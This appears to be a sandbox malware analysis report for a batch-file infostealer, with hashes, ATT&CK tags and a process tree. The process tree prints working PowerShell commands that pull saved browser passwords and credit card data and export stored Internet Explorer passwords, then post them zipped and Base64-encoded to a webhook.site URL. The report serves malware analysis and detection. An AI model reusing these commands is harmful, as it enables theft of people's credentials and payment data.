5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260504_e656a9.bat
Size 3KB
Sample260504-sec6vaet4t
SHA256 5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73
MD5 8c692ab42db589e7a2a35b3260be8452
SHA1 bdf08073ec25e7d833887f1b1d270b9deb17920a
SHA512 2b57c5627a4d3ea8aef1044c276993d737a6364438cf3930ea1a44fa15faced308175c9db68fa007449532dcd9f628c88faec1631a94b5b8e12dac130c5878e4
TLSH
T1B861A5661605D661118842EC8F1DE280B916E2C7C70A3CC97ADFE092870CBF537BE28D
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Extracted

Language

Source

URLs

exe.dropper
https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1684	powershell.exe
3	2104	powershell.exe
4	4892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1684	powershell.exe
2104	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Delays execution with timeout.exe 6 IoCs

defense_evasion

pid	Process
3564	timeout.exe
3424	timeout.exe
4164	timeout.exe
2720	timeout.exe
4364	timeout.exe
4112	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1684	powershell.exe
1684	powershell.exe
2104	powershell.exe
2104	powershell.exe
4892	powershell.exe
4892	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4220 wrote to memory of 3424	4220	cmd.exe	80
PID 4220 wrote to memory of 4164	4220	cmd.exe	81
PID 4220 wrote to memory of 2720	4220	cmd.exe	82
PID 4220 wrote to memory of 4364	4220	cmd.exe	83
PID 4220 wrote to memory of 1684	4220	cmd.exe	84
PID 4220 wrote to memory of 2104	4220	cmd.exe	85
PID 4220 wrote to memory of 3100	4220	cmd.exe	86
PID 4220 wrote to memory of 4892	4220	cmd.exe	87
PID 4220 wrote to memory of 4112	4220	cmd.exe	88
PID 4220 wrote to memory of 3564	4220	cmd.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260504_e656a9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3424
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4164
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2720
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $out=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_login') { $q='select origin_url, username_value, password_value from logins'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $out+='URL: '+$r[0]+' User: '+$r[1]+' Pass: '+[System.Text.Encoding]::UTF8.GetString($r[2])+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $out"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $crd=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_web') { $q='select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $crd+='Card: '+$r[0]+' Exp: '+$r[1]+'/'+$r[2]+' Enc: '+$r[3]+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $crd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2104
- C:\Windows\system32\reg.exe
  reg export "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" "C:\Users\Admin\AppData\Local\Temp\wllytmp\ie_pass.reg"
  2⤵
  PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip' -Force; $b=[Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip')); Invoke-RestMethod -Uri 'https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf' -Method Post -Body $b"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4112
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 8b6ca8bf09c1583242fa8350b59ac96eb335a7d5d4b494bd7aede04fd717c490
MD5 8e8abc41a6a46e9ca168348736ec873e
SHA1 76fa4439f597c24aa7c666434871922ce6bc4106
SHA512 5fc62c5354f0e92a7fc085bcdf4278f34d878ec3547a24e21e8c57324305e85f4e2750b1e9c88e73255c3a6142f0eadf7d7412e16393b275c13a6c3a339dc039
TLSH
T11D61CD323275B0D489567F07192C19C463BF8356EA94AF4CB658620ED92744BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5dc8fc0a20cc76fa41d3b0dadce5d9728760332e16786836bfc6a8f4f5942583
MD5 b2bf8729fb700c5fe8c0b334f3a854b2
SHA1 9cb6bef1b62782b5966d71dc4ae5a45801bf2c73
SHA512 882d076be00bb319f87b5802ca96777c0c2e9a7fcf40f0fcd2ef03d86ea2414e8442b062eba71c47afd1c27ddb76812ffc17aeea220455e9c8448818657ccf31
TLSH
T1C521763BB3ACC2E5C8D9057A1088AD00B1B4C3C7C4DECE8B6A84C504A57F9DADB9C1A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9c09d21f4ff540d0638f44d01239ca3ea91ef7fcbcfc83c15b89e0f2a38eed4a
MD5 75f254f7e4529176a87a4bec9f34cdde
SHA1 9c68b2380a21e21574294b0233e21c6d723762b8
SHA512 ea76e15b8794c41dd3b94ac113ef45debd76862a79f5bcf01a9315f66b65e59f5529c349ba7a50952690b56dbddc384eb4b4385b5ec20aec9c90e0b9230aa98b
TLSH
T10F21793BB79CC1E5C8D9057A1088AD00B1B4C3C780DE8E8B6B84C404A57F5EADA9C1A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2lt024k1.cwx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2lt024k1.cwx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1684-10-0x000001E4C1050000-0x000001E4C1212000-memory.dmp

Download

memory/1684-0-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

Download

memory/1684-13-0x000001E4A8430000-0x000001E4A843C000-memory.dmp

Download

memory/1684-15-0x000001E4A8590000-0x000001E4A85A2000-memory.dmp

Download

memory/1684-14-0x000001E4A84C0000-0x000001E4A856F000-memory.dmp

Download

memory/1684-9-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

Download

memory/1684-2-0x000001E4C0890000-0x000001E4C08B2000-memory.dmp

Download

memory/1684-1-0x000001E4C0880000-0x000001E4C0890000-memory.dmp

Download

memory/2104-27-0x0000021DFC650000-0x0000021DFC662000-memory.dmp

Download

memory/2104-26-0x0000021DFC450000-0x0000021DFC4FF000-memory.dmp

Download

memory/2104-25-0x0000021DE2760000-0x0000021DE276C000-memory.dmp

Download

memory/4892-41-0x00000195E96C0000-0x00000195E96DC000-memory.dmp

Download

memory/4892-42-0x00000195E9910000-0x00000195E99C3000-memory.dmp

Download

memory/4892-43-0x00000195E96E0000-0x00000195E96EA000-memory.dmp

Download

memory/4892-46-0x00000195E91F0000-0x00000195E929F000-memory.dmp

Download

memory/4892-47-0x00000195E95B0000-0x00000195E95C2000-memory.dmp

Download

memory/4892-45-0x00000195E8E70000-0x00000195E8E7C000-memory.dmp

Download